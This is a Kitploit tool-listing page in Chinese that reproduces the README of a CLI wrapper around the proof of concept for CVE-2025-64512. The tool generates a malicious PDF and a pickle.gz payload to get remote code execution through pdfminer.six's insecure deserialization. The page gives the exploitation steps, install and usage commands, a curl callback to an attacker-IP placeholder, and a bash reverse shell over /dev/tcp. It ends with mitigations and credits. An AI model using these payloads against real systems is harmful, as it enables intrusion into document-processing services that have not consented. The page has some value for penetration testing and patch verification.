Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-64512 — CLI wrapper for CVE-2025-64512 PoC generating malicious PDF and pickle.gz payloads to exploit insecure deserialization in pdfminer.six, enabling remote code execution via crafted PDF processing. | Kitploit
工具/GitHubGitHub/bardlaudian/cve-2025-64512
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubbardlaudian/cve-2025-64512

CVE-2025-64512

CLI wrapper for CVE-2025-64512 PoC generating malicious PDF and pickle.gz payloads to exploit insecure deserialization in pdfminer.six, enabling remote code execution via crafted PDF processing.

查看仓库
121个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-64512 — 通过构造的PDF实现pdfminer.six不安全的反序列化(Pickle)

Python CVE Platform

⚠️ 免责声明: 此工具仅供教育目的和授权的渗透测试使用。仅用于您拥有或获得明确书面许可的系统。未经授权使用是非法的。


目录

  • 概述
  • 漏洞详情
  • 工作原理
  • 要求
  • 安装
  • 使用方法
  • 示例
  • 缓解措施
  • 致谢
  • 参考

概述

pdfminer.six 是一个广泛使用的Python库,用于从PDF文件中提取文本和元数据,常见于文档处理管道、CLI工具以及AI/数据摄取工作流中。受影响的版本在加载用于CJK字体支持的CMap(字符映射)缓存文件时,使用了Python的pickle模块,且未验证解析后的路径是否保持在预期的缓存目录内。

一个特制的PDF可以引用攻击者控制的路径来查找此CMap。如果攻击者还能够在该解析路径(例如通过同位置的文件上传功能)放置一个恶意的.pickle.gz文件,那么处理该PDF将触发pickle.loads()作用于攻击者控制的数据,导致任意代码执行。这一确切机制(包括PoC PDF结构)在官方公告中由mtolley记录。

本仓库包含一个围绕CVE-2025-64512的GitHub安全公告中发布的官方概念验证的小型CLI封装器。它并未引入任何新的利用技术——恶意PDF模板几乎逐字取自公告本身;此脚本仅对目标路径、要执行的命令和输出文件名进行参数化,以便PoC更易于重用。


漏洞详情


工作原理

pdfminer.six中的CMapDB._load_data()将CMap名称(取自PDF字体的/Encoding条目)解析为文件路径,如果以.pickle.gz结尾,则使用pickle.loads()加载它。该函数未验证解析后的路径是否保持在pdfminer自身的cmap/目录内。

攻击条件

  1. 一个触发PDF,其字体/Encoding引用攻击者选择的路径(URL编码,/表示为%2F)。
  2. 一个**恶意的.pickle.gz**文件,在处理PDF时存在于目标文件系统的该路径(<该路径>.pickle.gz)上。

通常这两个文件可以通过同一上传渠道(例如文档摄取管道)交付,只要最终磁盘上的路径是可预测或可发现的,并且该渠最终会被pdfminer.six处理。

利用流程

root@kitploit:~
1. 生成一个恶意的pickle载荷(在反pickling时执行命令)
2. 将其压缩为<名称>.pickle.gz
3. 生成一个“触发”PDF,其字体/Encoding指向该.pickle.gz在目标文件系统中的完整路径(不含扩展名)
4. 将两个文件交付给目标,使其落在预期路径上
5. 等待/触发pdfminer.six(或任何基于它的工具,如pdf2txt.py)处理触发PDF
6. pickle.loads()执行载荷 -> RCE

要求

  • Python 3.8+(仅标准库——gzip、pickle、argparse)

生成载荷不需要第三方依赖。目标必须有一个存在漏洞的pdfminer.six(或依赖于它的项目)实际处理上传的PDF。


安装

root@kitploit:~
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512

使用方法

root@kitploit:~
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]

options:
  --pdf-out PDF_OUT     触发PDF的输出文件名(默认:trigger.pdf)
  --gz-out GZ_OUT       pickle.gz载荷的输出文件名(默认:payload.pickle.gz)
  --path PATH, -p PATH  目标文件系统上pickle.gz将存放的完整路径(不含.pickle.gz),
                         例如 /var/www/app/uploads/xxxx
  --command COMMAND, -c COMMAND
                        在目标上执行的命令(默认:id)

示例

基本用法

root@kitploit:~
python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "id > /tmp/pwned" \
  --pdf-out trigger.pdf \
  --gz-out payload.pickle.gz

这将生成:

  • payload.pickle.gz — 先上传此文件,放置到 .../uploads/payload.pickle.gz
  • trigger.pdf — 后上传此文件;一旦目标使用pdfminer.six处理它,命令就会执行

网络回连(用于在无法访问文件系统时确认RCE)

root@kitploit:~
python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "curl http://攻击者_IP:8000/rce-confirmed" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz

反弹Shell

root@kitploit:~
python3 gen_payload.py \
  --path "/var/www/app/uploads/payload" \
  --command "bash -c 'bash -i >& /dev/tcp/攻击者_IP/4444 0>&1'" \
  --pdf-out trigger.pdf --gz-out payload.pickle.gz

缓解措施

  • 更新 pdfminer.six 至 20251107 或更高版本(或任何捆绑它的项目的修补版本,例如 markitdown ≥ 0.1.4, pdfplumber ≥ 0.11.8)。
  • 限制/验证 所有最终由 pdfminer.six 或其构建工具处理的用户上传内容。
  • 沙箱化 PDF处理管道(容器、seccomp、无出站网络),以便反pickle RCE 的爆炸半径最小。
  • 监控 文档处理服务中意外产生的子进程。

致谢

  • 漏洞发现与报告: mtolley
  • 公告发布者: pdfminer.six 维护者 (pietermarsman)
  • 原始PoC(恶意PDF模板): 来自 官方 GitHub 安全公告
  • CLI封装器/参数化: Bardlaudian — 围绕官方PoC的薄便捷封装器,无新技术

参考

  • 官方 GitHub 安全公告 — GHSA-wf5f-4jwr-ppcp(此处使用的PoC来源)
  • pdfminer.six 仓库
  • luigigubello 的多语言变体(单文件PDF+pickle.gz技巧,本仓库未使用)
下载工具
字段值
CVECVE-2025-64512
影响版本pdfminer.six ≤ 20250506(以及 markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7)
类型不安全的反序列化(CWE-502)
所需权限无(如果PDF处理暴露在外,则无需认证)
影响任意代码执行
补丁pdfminer.six 20251107+